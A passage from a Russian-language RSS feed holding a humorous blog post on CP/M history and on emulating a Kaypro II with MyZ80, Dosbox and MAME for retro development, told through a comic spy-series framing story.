  <pre id="vt0a" data-lang="bash">setenv TERM xterm</pre>
  <p id="fOQ2">И нет, это тоже еще не коне.. </p>
  <p id="bHf6">(удары тяжелым предметом на фоне)</p>
  <p id="8KAY">Механический голос за кадром:</p>
  <p id="hW0y">..угроза раскрытия корпоративных секретов устранена.</p>
  <p id="aesy">Приступаю к зачистке территории.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm</guid><link>https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Необычный заказ: разработка под CP/M</title><pubDate>Wed, 18 Feb 2026 08:36:44 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fc/63/fc63a164-a2f3-4abd-9162-eb6de223df49.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg"></img>Помните знаменитую цитату некоего Билла Г. про «640Кб хватит на всех»? Показываю этих самых «всех» и разработку для компьютеров 80х.]]></description><content:encoded><![CDATA[
  <p id="Pmcl">Древний дисковод ожил и издавая чудовищный скрежет стал медленно загружать мое послание. </p>
  <p id="1dKu">Через какое-то время на экране появились строки:</p>
  <pre id="wyKv">NE PUERO GLADIUM, DR. KRIGER.
04.03.2026</pre>
  <p id="Hpg3">Три пары глаз повернулись ко мне в немом изумлении.</p>
  <p id="GHBM">— Это длинная история, нам лучше присесть.</p>
  <p id="Ecbq"></p>
  <figure id="7igN" class="m_original">
    <img src="https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg" width="1600" />
    <figcaption>Все герои в сборе.</figcaption>
  </figure>
  <p id="0xq7">Человек, перешагнувший порог моего маленького офиса в тот летний вечер явно имел отношение к спецслужбам — армейскую выправку и годы тренировок не спрячешь так просто. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iios">Рослый и поднятутый, в безупречном костюме и с острым, пронзительным взглядом — он производил серьезное впечатление.</p>
  </section>
  <p id="FX0T">И тем странее выглядел этот заказ.</p>
  <p id="Wp0R">— Алекс, полагаю?</p>
  <p id="atDZ">— Он самый, рад наконец познакомиться лично. </p>
  <p id="txon">— Вы написали, что для нас есть работа. Хотя исходя из содержания письма, задача выглядит довольно.. необычной.</p>
  <p id="b87B">— Это проблема? Мне рекомендовали вас как опытных профессионалов..</p>
  <p id="7CGD">— Нет, не проблема. </p>
  <p id="Sy3t">— Просто уточняю детали, дабы убедиться, что мы понимаем друг друга. </p>
  <p id="fJUa">— Итак, вы действительно используете компьютеры.. из 1987 года?</p>
  <p id="6NST">..</p>
  <h2 id="6g9T">АРХЕОТЕХ</h2>
  <p id="USYO">Копаясь в сети в поисках очередного археотеха, был обнаружен <a href="https://github.com/davidly/cpm_compilers" target="_blank">удивительный репозиторий</a>, в котором один почтенный джентельмен, недавно отошедший от дел, собрал невероятную подборку <s>дичи</s> инструментов разработки для компьютеров конца 70х — начала 80х:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MVbQ" data-align="center">CP/M 2.2 compilers, assemblers, and interpreters</p>
  </section>
  <p id="0Hug"><a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M</a>, если кто вдруг не знает (коих среди читателей точно будет большинство), это такая операционная система из далекого-далекого прошлого, созданная аж в 1974 году.</p>
  <p id="Np1Q">Разумеется давно и крепко забытая обывателями. Для сравнения и понимания исторического периода: </p>
  <blockquote id="w5UX">в 1977м году вышел первый фильм Джорджа Лукаса по вселенной «<a href="https://en.wikipedia.org/wiki/Star_Wars" target="_blank">Звездных Войн</a>», а в 1975м закончилась <a href="https://en.wikipedia.org/wiki/Vietnam_War" target="_blank">война во Вьетнаме</a>.</blockquote>
  <p id="XKDx">Практически любые компьютерные материалы тех лет представляют историческую ценность, а тут аж целый репозиторий, забитый под завязку редчайшим археотехом.</p>
  <p id="zzYm">Чтобы вы смогли оценить объем и сложность проделанной работы: </p>
  <blockquote id="hlTL"><strong>каждый</strong> компилятор или средство разработки из этой коллекции пришлось специально оцифровывать, считывая данные с невероятно старых носителей информации — дискет или магнитной ленты.</blockquote>
  <p id="Jowt">C помощью дисководов, которым <em>лет по пятьдесят</em>, типа такого:</p>
  <figure id="1Ll2" class="m_original">
    <img src="https://img3.teletype.in/files/6f/4c/6f4c6b62-943d-4f1b-83d1-33b375bf61de.jpeg" width="960" />
    <figcaption><a href="https://en.wikipedia.org/wiki/History_of_the_floppy_disk" target="_blank">8-дюймовый </a>(!) диск с дисководом начала 70х. Слева для сравнения &quot;современная&quot; 1&#x27;44 дискета.</figcaption>
  </figure>
  <p id="S4xi">Представляете, чего стоило все это оживить, запустить и заставить работать?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="bIar">Физические процессы, механические повреждения и влияние среды при этом никто не отменял.</p>
  </section>
  <p id="P6Ej">Если быть совсем точным, то сначала был обнаружен немного <a href="https://github.com/davidly/dos_compilers" target="_blank">другой репозиторий</a> от этого же почтенного автора, где была собрана похожая коллекция, но для более обыденного DOS. </p>
  <p id="qeEu">Лишь несколько недель спустя обнаружилось, что совсем рядом находится настоящее сокровище утраченной цивилизации — <strong>чистый археотех</strong>. </p>
  <p id="AiBB">И понеслась.</p>
  <p id="HA3u">От такого изобилия начала капать слюна и дергаться глаз:</p>
  <figure id="yLun" class="m_column">
    <img src="https://img3.teletype.in/files/2e/2a/2e2a7584-4ba8-45a2-84d8-65ae72b4689c.gif" width="800" />
    <figcaption>Сообщения коммитов вроде &quot;macos build&quot; и &quot;linux build&quot; в одной строке с тулчейном из 70х <strong>невероятно доставляют</strong>.</figcaption>
  </figure>
  <p id="kVPk">Скорее всего ничего из длинного списка выше вам знакомо не будет, поскольку все эти древности на десяток-другой лет старше даже автора этих строк.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6Ryy">Отдельный восторг у искушенной публики вызовет наличие <strong>скриптов сборки</strong> под Unix (Linux/Mac/BSD). </p>
  </section>
  <p id="84Jb">Примерно из-за таких изумительных проектов хорошие инженеры навсегда бросают пить.</p>
  <p id="NlA7">Но вернемся в мой кабинет — к гостю с армейской выправкой и странными, хотя и законными запросами.</p>
  <p id="S1TD">— Этот разговор будет долгим. Не найдется ли у вас чем освежиться?</p>
  <p id="9vRa">— Разумеется.</p>
  <p id="n7v8">Специально для таких случаев в минибаре хранилась дежурная бутылочка <a href="https://amwine.ru/catalog/krepkie_napitki/viski/the_macallan_classic_cut/" target="_blank">Macallan</a>. И правильный лед.</p>
  <p id="edRz">— Вижу у вас отменный вкус.</p>
  <p id="WLzj">С наслаждением сделав глоток, гость медленно перекатывал стакан между пальцами пока лучи заката переливались на его гранях.</p>
  <p id="Jw1l">В глазах был немой вопрос.</p>
  <p id="X3Wd">— Увы, не могу. «Врачи-убийцы» настрого запретили любой алкоголь.</p>
  <p id="Lxea">— Какая жалость. Со мной они такое провернули только к седьмому сезону.. Возвращась к вашему вопросу.</p>
  <p id="OS3r">— Про компьтеры 80х и их современное использование.</p>
  <p id="0XEM">— Видите ли, это все сценаристы и лично создатель <a href="https://archer.fandom.com/wiki/Archer_Wiki" target="_blank">сериала</a>. </p>
  <p id="B7OT">Решили, что для уникальной атмосферы необходимо смешать гаджеты из совершенно разных эпох.</p>
  <p id="aytq">— У них определенно получилось, <a href="https://www.imdb.com/title/tt1486217/" target="_blank">рейтинг IMDb</a> не даст соврать. </p>
  <p id="nmxz">Ламповые компьютеры 60х, мейнфреймы IBM 70х и 8-битные микрокомпьютеры 80х спокойно существуют в одном мире с мобильными телефонами и видеосвязью.</p>
  <p id="K7Ud">— И все это на протяжении десяти сезонов!</p>
  <p id="nYBq">— Четырнадцати. Делаем продолжение.</p>
  <p id="tORH">— Вот она, сила исскусства!</p>
  <p id="Cy0a"> ..</p>
  <p id="kIaW">Искусство искусством, но прежде чем погружаться по локоть в «кровавый ад разработки» 80х c линковщиками и компиляторами, стоит рассказать о технических реалиях тех лет — оборудовании и самой операционной системе CP/M.</p>
  <p id="4C2c">Будет интересно, даже если вы, дорогой читатель, не старше третьего GTA.</p>
  <figure id="tjDj" class="m_original">
    <img src="https://img2.teletype.in/files/58/f2/58f21cad-d222-4087-9478-4080e5fc5ded.jpeg" width="3200" />
    <figcaption>Аукционный дом <a href="https://www.christies.com/" target="_blank">Christie&#x27;s</a>, <a href="https://onlineonly.christies.com/s/firsts-history-computing-paul-g-allen-collection/group-nine-early-microcomputers-120/230058" target="_blank">частная коллекция Пола Аллена</a>.</figcaption>
  </figure>
  <h2 id="CRxf">ЭПОХА МИКРО</h2>
  <p id="dyZh">Между огромными мейнфреймами, занимающими машинные залы и первым домашним PC с DOS а затем и Windows, был относительно краткий период рассвета (1970-1980) <a href="https://en.wikipedia.org/wiki/Microcomputer" target="_blank">микрокомпьютеров</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="192y">A <strong>microcomputer</strong> is a small, relatively inexpensive <a href="https://en.wikipedia.org/wiki/Computer" target="_blank">computer</a> having a <a href="https://en.wikipedia.org/wiki/Central_processing_unit" target="_blank">central processing unit</a> (CPU) made out of a single <a href="https://en.wikipedia.org/wiki/Integrated_circuit" target="_blank">integrated circuit</a> <a href="https://en.wikipedia.org/wiki/Microprocessor" target="_blank">microprocessor</a>.</p>
  </section>
  <p id="YzVq">Да, это официальное название, «микрокомпьютерами» назывались <a href="https://en.wikipedia.org/wiki/List_of_computers_running_CP/M" target="_blank">множество разных девайсов</a> от разных производителей, предназначенных для <s>игор</s> домашнего использования.</p>
  <figure id="Knky" class="m_column">
    <img src="https://img2.teletype.in/files/d6/32/d632d1f2-3581-4ac4-9add-a4fa88a74af7.jpeg" width="960" />
    <figcaption>Знаменитый <a href="https://en.wikipedia.org/wiki/Commodore_128" target="_blank">Commodore 128D</a></figcaption>
  </figure>
  <figure id="HX3G" class="m_original">
    <img src="https://img1.teletype.in/files/0c/ca/0cca9405-bddc-49a9-b04b-0a10d133f435.png" width="544" />
    <figcaption>Не менее знаменитый <a href="https://en.wikipedia.org/wiki/TRS-80" target="_blank">TRS-80</a>.</figcaption>
  </figure>
  <p id="VWwT">Это был настоящий бум домашней электроники и сотни разных компаний по всему миру начали создавать свои линейки для новой отрасли — домашних компьютеров.</p>
  <p id="i53E">..</p>
  <p id="0Z9a">— Интересная история, крайне.. необычная. </p>
  <p id="da4u">Рассказ гостя определенно заинтриговал.</p>
  <p id="oJm0">За долгую жизнь со мной случилось столько разнообразной херни, что заказ на разработку для компьютера из 80х от мультяшного персонажа из сериала про  супершпионов уже не казался чем-то невероятным.</p>
  <p id="s2sN">Куда больше вопросов вызывал сам процесс.</p>
  <p id="F9VT">— Но все же, что конкретно мы должны реализовать?</p>
  <p id="83KM">— И под какую машину?</p>
  <p id="3ZLb"></p>
  <figure id="cYGT" class="m_original">
    <img src="https://img4.teletype.in/files/fa/30/fa300f7e-a94a-4968-b65c-713f3293849f.png" width="1920" />
  </figure>
  <h2 id="tx4S">KAYPRO II</h2>
  <p id="duxz">Одной из компаний, решивших поучаствовать в гонке первых домашних компьютеров была <a href="https://en.wikipedia.org/wiki/Kaypro" target="_blank">Kaypro Corporation</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UjsK"><strong>Kaypro Corporation</strong> was an American home and <a href="https://en.wikipedia.org/wiki/Personal_computer" target="_blank">personal computer</a> manufacturer based in <a href="https://en.wikipedia.org/wiki/Solana_Beach" target="_blank">Solana Beach</a>, California, in the 1980s</p>
  </section>
  <p id="y610">Хотя сама компания давно не существует, она успела <s>наследить</s> оставить след в истории компьютеров и сердцах благодарных потомков. </p>
  <p id="2brQ">Первый же ее продукт имел оглушительный успех:</p>
  <blockquote id="MNaV">by mid-1983 the company was selling more than 10,000 units a month, briefly making it the fifth-largest computer maker in the world</blockquote>
  <p id="Jbr0"><strong>Пятая в мире</strong> по продажам, рядом с Apple и IBM — в первом ряду, не где-то сбоку, причем с первого продукта.</p>
  <p id="fV4f">Кстати с названием тоже есть интересный нюанс:</p>
  <blockquote id="lt29">The first Kaypro model to be released commercially was branded as the <em>Kaypro II</em>; at the time, one of the most popular microcomputers was the <a href="https://en.wikipedia.org/wiki/Apple_II" target="_blank">Apple II</a></blockquote>
  <p id="dUkK">Так что цифра «два» в названии модели была добавлена ради конкуренции с Apple, а не в качестве порядкового номера — настолько сильна была <s>ненависть</s> жажда наживы.</p>
  <p id="WFZH">Именно этот продукт — домашний компьютер Kaypro II был выбран в качестве полигона для восстановления процесса разработки под CP/M. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="BqSI">И последующей сдачи этого фантастического проекта для столь особенного заказчика.</p>
  </section>
  <p id="0ASJ">Только посмотрите на эту брутальную «няшу» в стильном металлическом корпусе:</p>
  <figure id="0erq" class="m_original">
    <img src="https://img2.teletype.in/files/12/d4/12d4c222-df1a-4833-a56e-9c71ec3a92ea.jpeg" width="1280" />
  </figure>
  <p id="vcOi">Кстати, этот самый Kaypro II еще и позиционировался как <strong>мобильный</strong>:</p>
  <blockquote id="VrDo">Its <a href="https://en.wikipedia.org/wiki/RS-232" target="_blank">RS-232</a> port was widely used by service technicians for on-site equipment configuration, control and diagnostics</blockquote>
  <p id="i6vD">И действительно использовался инженерами для полевых работ, примерно как современные ноутбуки:</p>
  <figure id="wmJA" class="m_column">
    <img src="https://img3.teletype.in/files/e8/df/e8dfdff7-4088-42a4-ad2a-59839297ed5d.jpeg" width="1280" />
  </figure>
  <p id="xDIG">Ну как можно было пройти мимо такого сказочного девайса?</p>
  <p id="KOv4">..</p>
  <p id="UZ4C">— Видите-ли, Алекс. </p>
  <p id="9Tba">— У нас в.. организации есть один сотрудник. С наци.. ээ немецкими корнями и такой же педантичностью. </p>
  <p id="F0oJ">Мой гость сделал еще один глоток виски, явно наслаждаясь процессом.</p>
  <p id="TOdn">— Отвечает за техническое сопровождение и разные.. эксперименты. В некотором смысле — ваш коллега.</p>
  <p id="spKS">— К великому сожалению, последнее время он начал.. скажем так, проявлять неустойчивость. Рассказывал коллегам о своей избранности и незаменимости. Стал требовать сдавать ему кровь.</p>
  <p id="uALD">— Даже представлять не хочу, для чего ему могло понадобиться столько крови, но нам срочно необходимо это прекратить.</p>
  <p id="bZNR">— С нашей помощью, полагаю?</p>
  <p id="GGeb">..</p>
  <figure id="JsZ2" class="m_column">
    <img src="https://img3.teletype.in/files/65/a8/65a88753-ce37-4ee2-a062-365f939861f5.jpeg" width="715" />
    <figcaption>Создатель операционной системы CP/M  <a href="https://en.wikipedia.org/wiki/Gary_Kildall" target="_blank">Gary Kildall</a> за работой, 1978 год. Огромный ящик слева это.. <strong>дисковод</strong>.</figcaption>
  </figure>
  <h2 id="QsAc">CP/M</h2>
  <p id="G20n">Стоит рассказать и про <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">операционную систему тех лет</a>, благо очень немногие из читателей <s>дожили</s> имели шанс с ней поработать:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DTNH"><strong>CP/M</strong>,originally standing for <strong>Control Program/Monitor</strong> and later <strong>Control Program for Microcomputers, </strong>is a mass-market <a href="https://en.wikipedia.org/wiki/Operating_system" target="_blank">operating system</a> created in 1974 for <a href="https://en.wikipedia.org/wiki/Intel_8080" target="_blank">Intel 8080</a>/<a href="https://en.wikipedia.org/wiki/Intel_8085" target="_blank">85</a>-based <a href="https://en.wikipedia.org/wiki/Microcomputer" target="_blank">microcomputers</a> by <a href="https://en.wikipedia.org/wiki/Gary_Kildall" target="_blank">Gary Kildall</a> of <a href="https://en.wikipedia.org/wiki/Digital_Research" target="_blank">Digital Research, Inc</a>.</p>
  </section>
  <p id="pIs3">Внешне это сильно похоже на более привычный отечественному пользователю DOS, хотя конечно же CP/M появилась гораздо раньше.</p>
  <figure id="F3HK" class="m_column">
    <img src="https://img3.teletype.in/files/26/b0/26b0acf1-fbfb-43ec-a8ee-63223743a43b.jpeg" width="800" />
    <figcaption>Зеленые буквы на черном фоне, за тридцать лет до выхода &quot;Матрицы&quot;.</figcaption>
  </figure>
  <p id="iYJr">Кстати скриншот выше это тоже настоящий артефакт, который был сделан после случайной археологической находки — <a href="https://computerhistory.org/blog/early-digital-research-cpm-source-code/" target="_blank">были обнаружены исходники четырех первых версий CP/M</a>, примерно 1975-79 годов.</p>
  <p id="Lfkb">Так вот на этом скриншоте — работающая CP/M версии 1.3.. <strong>собранная</strong> из найденных исходников! </p>
  <p id="Q8CA">Помимо внешнего узнавания, сейчас будет еще и весьма знакомая история:</p>
  <blockquote id="JxPQ">CP/M eventually became the <em><a href="https://en.wikipedia.org/wiki/De_facto" target="_blank">de facto</a></em> standard and the dominant operating system for microcomputers,in combination with the <a href="https://en.wikipedia.org/wiki/S-100_bus" target="_blank">S-100 bus</a> computers. This <a href="https://en.wikipedia.org/wiki/Computer_platform" target="_blank">computer platform</a> was widely used in business through the late 1970s and into the mid-1980s.</blockquote>
  <p id="tWQ4">«Де-факто стандарт» и «доминирующая операционная система» — никого не напоминает? </p>
  <p id="EJx2">А дело между прочим происходило задолго до Microsoft и ее первых продуктов. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Zl1D">История имеет тенденцию повторяться.</p>
  </section>
  <p id="3p5p">Отдельных лулзов доставит и вот <a href="https://en.wikipedia.org/wiki/Z-80_SoftCard" target="_blank">такой замечательный девайс</a>:</p>
  <figure id="vTWU" class="m_original">
    <img src="https://img2.teletype.in/files/d7/d8/d7d81f3f-b38e-4cf8-895e-0ec7bfdd63fd.jpeg" width="1920" />
    <figcaption>Мелкомягкие никогда не изменяли себе, лепя огромные логотипы на все подряд.</figcaption>
  </figure>
  <p id="E4AE">Наберите побольше воздуха, сейчас поплохеет:</p>
  <blockquote id="hiHh">The <strong>Z-80 SoftCard</strong> is a plug-in <a href="https://en.wikipedia.org/wiki/Apple_II_processor_cards" target="_blank">Apple II processor card</a> developed by <a href="https://en.wikipedia.org/wiki/Microsoft" target="_blank">Microsoft</a> to turn the computer into a <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M</a> system based upon the <a href="https://en.wikipedia.org/wiki/Zilog_Z80" target="_blank">Zilog Z80</a> central processing unit (CPU). Becoming the most popular CP/M platform and Microsoft&#x27;s top revenue source for 1980, it was eventually renamed the <strong>Microsoft SoftCard</strong>, and was succeeded by Microsoft&#x27;s <strong>Premium Softcard IIe</strong> for the Apple IIe.</blockquote>
  <p id="jh4m">Оказывается самым прибыльным продуктом мелкомягких когда-то была плата расширения для.. компьютеров Apple, позволяющая использовать на них операционную систему CP/M.</p>
  <p id="I6HX">..</p>
  <p id="MjQh">— Несмотря на все наши таланты и умения, думаю не сможем помочь.</p>
  <p id="02fu">Окинув гостя взглядом и оценив его серьезную физическую подготовку, я добавил:</p>
  <p id="w5Ac">— Полагаю в вопросах наказания, проучения и приручения вы дадите сто очков форы кому угодно..</p>
  <p id="Qb0y">— Ну что вы, Алекс. </p>
  <p id="ZLbq">—Конечно же речи не идет о применении насилия, мы мирные <s>землепашцы</s> люди. К тому же для такого существуют.. профильные специалисты. </p>
  <p id="hhvT">— Нет, боюсь все несколько сложнее.</p>
  <p id="abqt">— Я хочу чтобы вы проучили коллегу <strong>морально</strong> — с помощью вашего ума и инженерных талантов.</p>
  <p id="OID9">Прикончив остатки виски, гость одним движением вернул пустой стакан на стол и внимательно посмотрел на меня.</p>
  <p id="eTOF">— Мы договорились?</p>
  <p id="eioG">..</p>
  <h2 id="NSj6">ЭМУЛЯЦИЯ</h2>
  <p id="LQ8S">Нетрудно догадаться, что настоящего микрокомпьютера из 1987 года у меня никогда не было, поскольку в те годы я успел только-только появиться на свет.</p>
  <blockquote id="q6p4">Поэтому большая часть описываемых ниже приключений снова будут происходить в эмуляции.</blockquote>
  <p id="KVwD">«Большая часть» — потому что <strong>действующий</strong> компьютер 80х я все же нашел и даже смог запустить на нем собранное приложение. </p>
  <p id="Gjn8">Содержание статьи сразу заиграло новыми красками, правда?</p>
  <p id="xmFp">Вообще 8-битные микрокомпьютеры быстро завоевали популярность, фактически создав новый рынок домашней электроники и оставив заметный след <s>рваную рану</s> в юных сердцах. </p>
  <p id="LlpG">Благодарные пользователи, убившие детство на первые компьютерные игры и выросшие затем в бородатых программистов, наклепали горы самых разных эмуляторов этих машин.</p>
  <p id="C5Ws">Я отобрал для вас <strong>три</strong> абсолютно разных эмулятора, для максимального погружения в тему микрокомпьютеров и эстетику 80х.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="oP9V">В качестве тестовой среды на этот раз использовался обычный Mageia Linux, чтобы не отвлекать внимание читателей на любимую FreeBSD.</p>
  </section>
  <p id="EejF">Кстати вот <a href="http://www.retroarchive.org/maslin/disks/kaypro/" target="_blank">тут</a> находится очень интересная подборка образов дискет для компьютеров Kaypro, включая <strong>исходники</strong> — на случай, если статьи покажется мало и захотите продолжить банкет.</p>
  <h2 id="T0mf">MYZ80</h2>
  <p id="cX5v">Начнем с самого <s>отбитого</s> <a href="http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm" target="_blank">хардкорного</a>. </p>
  <p id="cQ1r">Перед вами настоящий дедушка эмуляции — <em>действующий</em> эмулятор CP/M, написанный в 1991м году под MS-DOS:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tOag">MyZ80 does more than just emulate the CPU though, it&#x27;s a <strong>complete Z80 computer emulation</strong></p>
  </section>
  <p id="41qR">Этот эмулятор когда-то был коммерческим продуктом — «shareware», хотя и без каких-либо технических ограничений. Исходного кода найти не удалось, так что использовать будем его готовую сборку.</p>
  <p id="NQsi">Один из отзывов, благодаря которому эту штуку вообще удалось отыскать в современном интернете:</p>
  <blockquote id="N0QF">This is one of the few PC CP/M simulators which appears to actually Boot <br />CP/M and not a &quot;CP/M like command interpreter&quot;, thereby allowing you to <br />see what the operating environment actually looked like.</blockquote>
  <p id="wqtt">Шарму добавляет адрес для обратной связи — в <a href="https://en.wikipedia.org/wiki/FidoNet" target="_blank">сети FIDO</a>:</p>
  <blockquote id="8cai">Via FIDONET: direct to my point 3:640/208.3. <br />c/o Z-Node 62, Perth, Western Australia (3:690/718). <br />BBS number: From Australia: 09 450 0200. <br />From outside Australia: Overseas access number +619 450 0200.</blockquote>
  <p id="gj5I"><a href="http://www.gaby.de/ftp/pub/cpm/znode51/specials/myz80.htm" target="_blank">Ссылка</a> указанная выше, на самом деле лишь сохраненная копия сайта автора, поскольку и сайт и сам проект были давным давно заброшены.</p>
  <p id="Dee1">Все ссылки для скачивания битые, но нужный файлик <code>myz80124.zip</code> со сборкой эмулятора легко находится в сети, можно скачать например <a href="http://www.z80.eu/myz80cpm.html" target="_blank">тут</a>.</p>
  <p id="2yRJ">Скачиваем и распаковываем:</p>
  <pre id="L4hK" data-lang="bash">wget http://www.z80.eu/downloads/myz80124.zip
mkdir myz80cpm &amp;&amp; cd myz80cpm
unzip ../myz80124.zip</pre>
  <p id="vdhJ">Внутри будет весьма необычный для современности набор файлов:</p>
  <figure id="Xmaz" class="m_original">
    <img src="https://img3.teletype.in/files/27/c9/27c98659-1503-493a-8a53-681ed94e5612.png" width="940" />
  </figure>
  <p id="8gHF"><strong>MYZ80.EXE</strong> — очевидный бинарник эмулятора, но проблема в том что это <em>16-битное приложение</em> для DOS, запустить которое в современном окружении представляет проблему. </p>
  <p id="50V2">Так что придется использовать еще один известный эмулятор — <a href="https://www.dosbox.com/" target="_blank">Dosbox</a>, чтобы запустить внутри винтажный <code>MYZ80</code>.</p>
  <p id="98NP">Dosbox присутствует в пакетах большинства операционных систем , для моей Mageia установка выглядит вот так:</p>
  <pre id="mhyT" data-lang="bash">urpmi dosbox</pre>
  <p id="Z0Et">А так эта «матрешка» выглядит в работе:</p>
  <figure id="ATpA" class="m_original">
    <img src="https://img3.teletype.in/files/af/52/af52e20d-0521-4962-b0c5-5246c28b8056.png" width="652" />
  </figure>
  <p id="gO1X">Самое важное, ради чего были нужны заморочки аж с двумя эмуляторами — виртуальные диски, связанные с файловой системой DOS:</p>
  <figure id="ijPy" class="m_original">
    <img src="https://img3.teletype.in/files/e1/1a/e11adbe5-52a2-4ade-9000-11aad6f0b4e5.png" width="652" />
  </figure>
  <p id="NNgX">Поскольку Dosbox в свою очередь дает виртуализацию дисков непосредственно из хоста — получаем отличный способ быстро перебрасывать файлы в виртуальную CP/M.</p>
  <blockquote id="ojks">Что важно при любой разработке с использованием эмулятора.</blockquote>
  <p id="8UVz">Собственно, то самое тестовое приложение <code>EXMPL.COM</code> на заглавной картинке было сначала скопировано в каталог с эмулятором:</p>
  <pre id="6E3Q" data-lang="bash">cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .</pre>
  <p id="IxZD">Затем импортировано в виртуальный диск CP/M:</p>
  <figure id="byBP" class="m_original">
    <img src="https://img3.teletype.in/files/ae/06/ae065b8c-a1f0-4c90-9b31-3340d1a146e0.png" width="652" />
  </figure>
  <p id="RYEG">И запущено уже в CP/M. </p>
  <p id="2E85">Все это проще и быстрее, нежели описываемый ниже вариант с Mame и полной эмуляцией Kaypro II, но к сожалению не дает того самого «ощущения от использования», что это реальная машина тех лет.</p>
  <p id="WS2L">Так что я пошел дальше в своих изысканиях.</p>
  <p id="PkQ3">..</p>
  <p id="o3ZD">— Интересное предложение.</p>
  <p id="mbUP">— Проучить коллегу по опасному инженерному делу, за приличные деньги..</p>
  <p id="9kqU">Моему гостю этого знать не следовало, но я готов был таким заниматься совершенно бесплатно и на регулярной основе.</p>
  <p id="4147">— ..путем разработки под столь винтажный компьютер. </p>
  <p id="9X1k">— Практически совершить уринотерапию..</p>
  <p id="23AK">— Боюсь, уринотерапия тут не поможет — коллега все же имеет немецкие корни. У каждой нации свои.. культурные особенности. </p>
  <p id="7OWp">— Ну да ладно.</p>
  <p id="PWvK">— Обсудим конкретику?</p>
  <p id="yAtI">..</p>
  <h2 id="L5sg">MAME</h2>
  <p id="5eD3">Mame это очень <a href="https://www.mamedev.org/" target="_blank">известный эмулятор</a> самых разных машин и архитектур, как устаревших так и современных, когда-то созданный ради запуска игор, выгруженных из старых игровых автоматов.</p>
  <blockquote id="5yNJ">С помощью Mame, мы получим почти настоящий Kaypro II, с оригинальным ROM и оригинальным образом загрузочной дискеты с CP/M — прямо из 80х.</blockquote>
  <p id="Gw9y">Mame присутствует в пакетах многих дистрибутивов Linux и BSD, для Mageia устанавливается командой:</p>
  <pre id="mckT">urpmi mame</pre>
  <p id="XwTe">Дальше нужно будет скачать загрузочный образ 5.25-дискеты с CP/M 2.2, например <a href="https://winworldpc.com/product/cp-m-80/22" target="_blank">отсюда</a>, затем специальные ROM-файлы для самого Kaypro II и его весьма специфической клавиатуры, <a href="https://archive.org/download/mame251" target="_blank">отсюда</a>.</p>
  <p id="cWMh">Архивы называются <code>kayproii.zip</code> и <code>kaypro10kbd.zip</code>, их необходимо копировать как есть, <em>не распаковывая</em>.</p>
  <p id="7LmA">Создаем структуру каталогов:</p>
  <pre id="yYNY" data-lang="bash">mkdir kayproii-machine &amp;&amp; cd kayrpoii-machine
mkdir roms disks</pre>
  <p id="tv7I">Копируем ROM-файлы:</p>
  <pre id="NBpT" data-lang="bash">cp ~/Downloads/kaypro*.zip ./roms/</pre>
  <p id="dM0I">Распаковываем образ дискеты:</p>
  <pre id="jMCH" data-lang="bash">7z e ~/Downloads/KAYPRO\ II\ 64k\ CPM\ vers\ 2.2.7z -o./disks/</pre>
  <p id="jvCG">Запускаем:</p>
  <pre id="Cjtv" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD</pre>
  <p id="ZpKN">Если все шаги выполнены правильно, появится заставка Mame с описанием эмулируемой машины:</p>
  <figure id="Xz1Z" class="m_column">
    <img src="https://img3.teletype.in/files/a6/64/a664ce33-2e1d-4a82-889a-7e384fb93219.png" width="1148" />
  </figure>
  <p id="zEbo">После нажатия любой клавиши, загрузится сама CP/M и вы увидите такое приглашение:</p>
  <figure id="1kIX" class="m_column">
    <img src="https://img1.teletype.in/files/83/33/83332090-d1a8-4ee5-8b90-bc088db54e02.png" width="1148" />
  </figure>
  <p id="dpma">Если сейчас выключить эмулятор и запустить снова — обнаружится, что система восстановила состояние на момент выключения, некий аналог режима сна в современных ноутбуках.</p>
  <p id="9976">В большинстве случаев это помогает работе, но временами может мешать.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZZ9W">Особенно если учесть, что в 1987м не было подсистемы управления питанием (<a href="https://en.wikipedia.org/wiki/ACPI" target="_blank">ACPI</a>) и компьютеры выключались по нажатию кнопки на корпусе.</p>
  </section>
  <p id="3CZw">Никаких вам <code>shutdown now</code> или <code>halt</code>, только железная кнопка, только хардкор.</p>
